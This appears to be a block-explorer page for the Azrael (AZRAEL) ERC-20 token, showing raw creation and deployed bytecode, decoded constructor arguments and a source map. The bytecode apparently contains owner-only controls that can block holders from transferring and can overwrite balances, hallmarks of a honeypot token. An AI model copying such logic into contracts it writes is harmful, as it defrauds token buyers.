a37565b60019250505092915050565b5f80610996610a30565b90506109a3818585610c85565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c9061194c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a906119da565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bed919061150e565b60405180910390a3505050565b5f610c0584846109ae565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c7f5781811015610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6890611a42565b60405180910390fd5b610c7e8484848403610a37565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611ad0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890611b5e565b60405180910390fd5b6001151560075f9054906101000a900460ff1615151480610db45750610d8561131e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610df15750610dc261131e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110f5575f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156110f05760095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610ed1575f8114610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec390611b9f565b60405180910390fd5b6110ef565b60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f62575f8111610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890611b9f565b60405180910390fd5b5b610f6d838383611345565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611c2d565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110819190611786565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e5919061150e565b60405180910390a3505b5b61114b565b6001151560075f9054906101000a900460ff1615151461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190611b9f565b60405180910390fd5b5b61115683838361134a565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090611cbb565b60405180910390fd5b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611d49565b60405180910390fd5b8160085461125b9190611d67565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546112ad9190611d67565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611311919061150e565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561138657808201518184015260208101905061136b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113ab8261134f565b6113b58185611359565b93506113c5818560208601611369565b6113ce81611391565b840191505092915050565b5f6020820190508181035f8301526113f181846113a1565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61142a82611401565b9050919050565b61143a81611420565b8114611444575f80fd5b50565b5f8135905061145581611431565b92915050565b5f819050919050565b61146d8161145b565b8114611477575f80fd5b50565b5f8135905061148881611464565b92915050565b5f80604083850312156114a4576114a36113f9565b5b5f6114b185828601611447565b92505060206114c28582860161147a565b9150509250929050565b5f8115159050919050565b6114e0816114cc565b82525050565b5f6020820190506114f95f8301846114d7565b92915050565b6115088161145b565b82525050565b5f6020820190506115215f8301846114ff565b92915050565b5f805f6060848603121561153e5761153d6113f9565b5b5f61154b86828701611447565b935050602061155c86828701611447565b925050604061156d8682870161147a565b9150509250925092565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b5f602082840312156115c0576115bf6113f9565b5b5f6115cd84828501611447565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115f7576115f66115d6565b5b8235905067ffffffffffffffff811115611614576116136115da565b5b6020830191508360208202830111156116305761162f6115de565b5b9250929050565b611640816114cc565b811461164a575f80fd5b50565b5f8135905061165b81611637565b92915050565b5f805f60408486031215611678576116776113f9565b5b5f84013567ffffffffffffffff811115611695576116946113fd565b5b6116a1868287016115e2565b935093505060206116b48682870161164d565b9150509250925092565b5f80604083850312156116d4576116d36113f9565b5b5f6116e185828601611447565b92505060206116f285828601611447565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174057607f821691505b602082108103611753576117526116fc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117908261145b565b915061179b8361145b565b92508282019050808211156117b3576117b2611759565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117ed602083611359565b91506117f8826117b9565b602082019050919050565b5f6020820190508181035f83015261181a816117e1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6118a8602583611359565b91506118b38261184e565b604082019050919050565b5f6020820190508181035f8301526118d58161189c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611936602483611359565b9150611941826118dc565b604082019050919050565b5f6020820190508181035f8301526119638161192a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6119c4602283611359565b91506119cf8261196a565b604082019050919050565b5f6020820190508181035f8301526119f1816119b8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611a2c601d83611359565b9150611a37826119f8565b602082019050919050565b5f6020820190508181035f830152611a5981611a20565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611aba602583611359565b9150611ac582611a60565b604082019050919050565b5f6020820190508181035f830152611ae781611aae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b48602383611359565b9150611b5382611aee565b604082019050919050565b5f6020820190508181035f830152611b7581611b3c565b9050919050565b50565b5f611b8a5f83611359565b9150611b9582611b7c565b5f82019050919050565b5f6020820190508181035f830152611bb681611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611c17602683611359565b9150611c2282611bbd565b604082019050919050565b5f6020820190508181035f830152611c4481611c0b565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ca5602183611359565b9150611cb082611c4b565b604082019050919050565b5f6020820190508181035f830152611cd281611c99565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d33602283611359565b9150611d3e82611cd9565b604082019050919050565b5f6020820190508181035f830152611d6081611d27565b9050919050565b5f611d718261145b565b9150611d7c8361145b565b9250828203905081811115611d9457611d93611759565b5b9291505056fea2646970667358221220a3d6ec154f41a18f4bebd3d388f7698d24ffc7aae060ae645c16181da8f33e9e64736f6c63430008160033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000006417a7261656c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006415a5241454c0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063564e4e3d116100955780639dc29fac116100645780639dc29fac14610285578063a457c2d7146102a1578063a9059cbb146102d1578063dd62ed3e14610301576100f3565b8063564e4e3d1461021157806370a082311461022d57806391b69fa01461025d57806395d89b4114610267576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806343ab662c146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610331565b60405161010c91906113d9565b60405180910390f35b61012f600480360381019061012a919061148e565b6103c1565b60405161013c91906114e6565b60405180910390f35b61014d6103e3565b60405161015a919061150e565b60405180910390f35b61017d60048036038101906101789190611527565b6103ec565b60405161018a91906114e6565b60405180910390f35b61019b61041a565b6040516101a89190611592565b60405180910390f35b6101cb60048036038101906101c6919061148e565b610422565b6040516101d891906114e6565b60405180910390f35b6101fb60048036038101906101f691906115ab565b6104c7565b60405161020891906114e6565b60405180910390f35b61022b60048036038101906102269190611661565b610519565b005b610247600480360381019061024291906115ab565b610648565b604051610254919061150e565b60405180910390f35b61026561068e565b005b61026f610776565b60405161027c91906113d9565b60405180910390f35b61029f600480360381019061029a919061148e565b610806565b005b6102bb60048036038101906102b6919061148e565b6108a8565b6040516102c891906114e6565b60405180910390f35b6102eb60048036038101906102e6919061148e565b61098c565b6040516102f891906114e6565b60405180910390f35b61031b600480360381019061031691906116be565b6109ae565b604051610328919061150e565b60405180910390f35b60606005805461034090611729565b80601f016020809104026020016040519081016040528092919081815260200182805461036c90611729565b80156103b75780601f1061038e576101008083540402835291602001916103b7565b820191905f5260205f20905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b5f806103cb610a30565b90506103d8818585610a37565b600191505092915050565b5f600354905090565b5f806103f6610a30565b9050610403858285610bfa565b61040e858585610c85565b60019150509392505050565b5f6009905090565b5f8061042c610a30565b90506104bc81858560025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546104b79190611786565b610a37565b600191505092915050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610521610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490611803565b60405180910390fd5b5f5b83839050811015610642578160095f8686858181106105d1576105d0611821565b5b90506020020160208101906105e691906115ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506105af565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610696610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611803565b60405180910390fd5b5f151560075f9054906101000a900460ff1615150361075a57600160075f6101000a81548160ff021916908315150217905550610774565b5f60075f6101000a81548160ff0219169083151502179055505b565b60606006805461078590611729565b80601f01602080910402602001604051908101604052809291908181526020018280546107b190611729565b80156107fc5780601f106107d3576101008083540402835291602001916107fc565b820191905f5260205f20905b8154815290600101906020018083116107df57829003601f168201915b5050505050905090565b61080e610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190611803565b60405180910390fd5b6108a4828261115b565b5050565b5f806108b2610a30565b90505f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096a906118be565b60405180910390fd5b6109808286868403610a37565b60019250505092915050565b5f80610996610a30565b90506109a3818585610c85565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c9061194c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a906119da565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bed919061150e565b60405180910390a3505050565b5f610c0584846109ae565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c7f5781811015610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6890611a42565b60405180910390fd5b610c7e8484848403610a37565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611ad0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890611b5e565b60405180910390fd5b6001151560075f9054906101000a900460ff1615151480610db45750610d8561131e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610df15750610dc261131e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110f5575f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156110f05760095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610ed1575f8114610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec390611b9f565b60405180910390fd5b6110ef565b60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f62575f8111610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890611b9f565b60405180910390fd5b5b610f6d838383611345565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611c2d565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110819190611786565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e5919061150e565b60405180910390a3505b5b61114b565b6001151560075f9054906101000a900460ff1615151461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190611b9f565b60405180910390fd5b5b61115683838361134a565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090611cbb565b60405180910390fd5b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611d49565b60405180910390fd5b8160085461125b9190611d67565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546112ad9190611d67565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611311919061150e565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561138657808201518184015260208101905061136b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113ab8261134f565b6113b58185611359565b93506113c5818560208601611369565b6113ce81611391565b840191505092915050565b5f6020820190508181035f8301526113f181846113a1565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61142a82611401565b9050919050565b61143a81611420565b8114611444575f80fd5b50565b5f8135905061145581611431565b92915050565b5f819050919050565b61146d8161145b565b8114611477575f80fd5b50565b5f8135905061148881611464565b92915050565b5f80604083850312156114a4576114a36113f9565b5b5f6114b185828601611447565b92505060206114c28582860161147a565b9150509250929050565b5f8115159050919050565b6114e0816114cc565b82525050565b5f6020820190506114f95f8301846114d7565b92915050565b6115088161145b565b82525050565b5f6020820190506115215f8301846114ff565b92915050565b5f805f6060848603121561153e5761153d6113f9565b5b5f61154b86828701611447565b935050602061155c86828701611447565b925050604061156d8682870161147a565b9150509250925092565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b5f602082840312156115c0576115bf6113f9565b5b5f6115cd84828501611447565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115f7576115f66115d6565b5b8235905067ffffffffffffffff811115611614576116136115da565b5b6020830191508360208202830111156116305761162f6115de565b5b9250929050565b611640816114cc565b811461164a575f80fd5b50565b5f8135905061165b81611637565b92915050565b5f805f60408486031215611678576116776113f9565b5b5f84013567ffffffffffffffff811115611695576116946113fd565b5b6116a1868287016115e2565b935093505060206116b48682870161164d565b9150509250925092565b5f80604083850312156116d4576116d36113f9565b5b5f6116e185828601611447565b92505060206116f285828601611447565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174057607f821691505b602082108103611753576117526116fc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117908261145b565b915061179b8361145b565b92508282019050808211156117b3576117b2611759565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117ed602083611359565b91506117f8826117b9565b602082019050919050565b5f6020820190508181035f83015261181a816117e1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6118a8602583611359565b91506118b38261184e565b604082019050919050565b5f6020820190508181035f8301526118d58161189c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611936602483611359565b9150611941826118dc565b604082019050919050565b5f6020820190508181035f8301526119638161192a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6119c4602283611359565b91506119cf8261196a565b604082019050919050565b5f6020820190508181035f8301526119f1816119b8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611a2c601d83611359565b9150611a37826119f8565b602082019050919050565b5f6020820190508181035f830152611a5981611a20565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611aba602583611359565b9150611ac582611a60565b604082019050919050565b5f6020820190508181035f830152611ae781611aae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b48602383611359565b9150611b5382611aee565b604082019050919050565b5f6020820190508181035f830152611b7581611b3c565b9050919050565b50565b5f611b8a5f83611359565b9150611b9582611b7c565b5f82019050919050565b5f6020820190508181035f830152611bb681611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611c17602683611359565b9150611c2282611bbd565b604082019050919050565b5f6020820190508181035f830152611c4481611c0b565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ca5602183611359565b9150611cb082611c4b565b604082019050919050565b5f6020820190508181035f830152611cd281611c99565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d33602283611359565b9150611d3e82611cd9565b604082019050919050565b5f6020820190508181035f830152611d6081611d27565b9050919050565b5f611d718261145b565b9150611d7c8361145b565b9250828203905081811115611d9457611d93611759565b5b9291505056fea2646970667358221220a3d6ec154f41a18f4bebd3d388f7698d24ffc7aae060ae645c16181da8f33e9e64736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000006417a7261656c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006415a5241454c0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Azrael
Arg [1] : symbol (string): AZRAEL
Arg [2] : totalSupply (uint256): 1000000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 417a7261656c0000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 415a5241454c0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2214:346:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2836:100:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5186:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3955:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5967:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3798:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6671:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2627:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13932:219;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4126:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:160;;;:::i;:::-;;3055:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2450:107:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7414:438:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4459:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4715:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2836:100;2890:13;2923:5;2916:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2836:100;:::o;5186:201::-;5269:4;5286:13;5302:12;:10;:12::i;:::-;5286:28;;5325:32;5334:5;5341:7;5350:6;5325:8;:32::i;:::-;5375:4;5368:11;;;5186:201;;;;:::o;3955:108::-;4016:7;4043:12;;4036:19;;3955:108;:::o;5967:295::-;6098:4;6115:15;6133:12;:10;:12::i;:::-;6115:30;;6156:38;6172:4;6178:7;6187:6;6156:15;:38::i;:::-;6205:27;6215:4;6221:2;6225:6;6205:9;:27::i;:::-;6250:4;6243:11;;;5967:295;;;;;:::o;3798:92::-;3856:5;3881:1;3874:8;;3798:92;:::o;6671:240::-;6759:4;6776:13;6792:12;:10;:12::i;:::-;6776:28;;6815:66;6824:5;6831:7;6870:10;6840:11;:18;6852:5;6840:18;;;;;;;;;;;;;;;:27;6859:7;6840:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6815:8;:66::i;:::-;6899:4;6892:11;;;6671:240;;;;:::o;2627:139::-;2684:4;2708:41;:50;2750:7;2708:50;;;;;;;;;;;;;;;;;;;;;;;;;2701:57;;2627:139;;;:::o;13932:219::-;786:12:1;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14024:9:2::1;14019:125;14043:4;;:11;;14039:1;:15;14019:125;;;14129:3;14076:41;:50;14118:4;;14123:1;14118:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14076:50;;;;;;;;;;;;;;;;:56;;;;;;;;;;;;;;;;;;14056:3;;;;;;;14019:125;;;;13932:219:::0;;;:::o;4126:127::-;4200:7;4227:9;:18;4237:7;4227:18;;;;;;;;;;;;;;;;4220:25;;4126:127;;;:::o;2459:160::-;786:12:1;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2534:5:2::1;2517:22;;:13;;;;;;;;;;;:22;;::::0;2513:99:::1;;2567:4;2551:13;;:20;;;;;;;;;;;;;;;;;;2513:99;;;2605:5;2589:13;;:21;;;;;;;;;;;;;;;;;;2513:99;2459:160::o:0;3055:104::-;3111:13;3144:7;3137:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3055:104;:::o;2450:107:0:-;786:12:1;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2527:22:0::1;2533:7;2542:6;2527:5;:22::i;:::-;2450:107:::0;;:::o;7414:438:2:-;7507:4;7524:13;7540:12;:10;:12::i;:::-;7524:28;;7563:24;7590:11;:18;7602:5;7590:18;;;;;;;;;;;;;;;:27;7609:7;7590:27;;;;;;;;;;;;;;;;7563:54;;